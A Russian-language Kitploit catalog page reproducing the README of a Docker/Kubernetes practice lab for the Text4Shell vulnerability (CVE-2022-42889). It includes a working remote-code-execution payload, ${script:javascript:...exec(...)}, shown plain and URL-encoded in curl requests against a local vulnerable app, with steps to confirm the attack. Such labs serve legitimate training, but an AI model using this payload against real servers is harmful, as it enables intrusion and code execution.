Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
text4shell-cve-2022-42889 — Kubernetes Lab for CVE-2022-42889 | Kitploit
Инструменты/GitHubGitHub/devenes/text4shell-cve-2022-42889
Container SecurityVulnerability AnalysisWeb Application ExploitationCloud SecurityLearning & EducationLabs & Practice
GitHubdevenes/text4shell-cve-2022-42889

text4shell-cve-2022-42889

Kubernetes Lab for CVE-2022-42889

Репозиторий
213 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Text4Shell CVE-2022-42889

Docker Lab для CVE-2022-42889

Вы можете либо собрать Docker-образ локально, либо загрузить образ из Docker Hub и запустить контейнер.

Клонирование репозитория

root@kitploit:~
git clone https://github.com/devenes/text4shell-cve-2022-42889.git

Сборка Docker-образа локально

root@kitploit:~
docker build --tag=text4shell .

Запуск Docker-контейнера

root@kitploit:~
docker run -d --rm -p 8080:8080 text4shell

Или загрузите образ из Docker Hub и запустите контейнер

root@kitploit:~
docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0

Протестируйте приложение, передав строку в параметр search:

root@kitploit:~
curl http://localhost/text4shell/attack?search=<anything>
  • Атаку можно выполнить, передав строку ${prefix:name}, где prefix — это упомянутый lookup:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

Атака с помощью curl:

root@kitploit:~
curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
  • Вы также можете попробовать использовать префиксы dns или url

Получение ID контейнера

root@kitploit:~
docker container ls

Вход в контейнер

root@kitploit:~
docker exec -it <container_id> bash

Проверка успешности RCE-атаки

  • Вы должны увидеть файл с именем foo, созданный в каталоге /tmp:
root@kitploit:~
ls /tmp/

Вы можете остановить контейнер, выполнив следующую команду

root@kitploit:~
docker container stop <container_id>

Kubernetes Lab для CVE-2022-42889

Перейдите в каталог kubernetes и следуйте инструкциям в файле README.md.

root@kitploit:~
cd kubernetes

Создание kind-кластера

root@kitploit:~
kind create cluster --config kind-config.yaml

Развертывание уязвимого приложения в кластере

root@kitploit:~
kubectl apply -f deployment.yaml

Создание сервиса для открытия доступа к приложению

root@kitploit:~
kubectl apply -f service.yaml

Атака на уязвимое приложение с помощью curl

root@kitploit:~
curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"

Получение имени пода с помощью kubectl get pods

root@kitploit:~
kubectl get pods

Вход в под с помощью kubectl exec

root@kitploit:~
kubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash

Проверка успешности атаки

root@kitploit:~
ls /tmp/ | grep foo

Вы можете найти подробное руководство в моем курсе на Udemy здесь


Ссылки:

  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://www.docker.com/blog/security-advisory-cve-2022-42889-text4shell/
  • https://unifiedguru.com/security-advisory-cve-2022-42889-text4shell-docker/
  • https://medium.com/mii-cybersec/cve-2022-42889-text4shell-vulnerability-17b703a48dcd
Скачать инструмент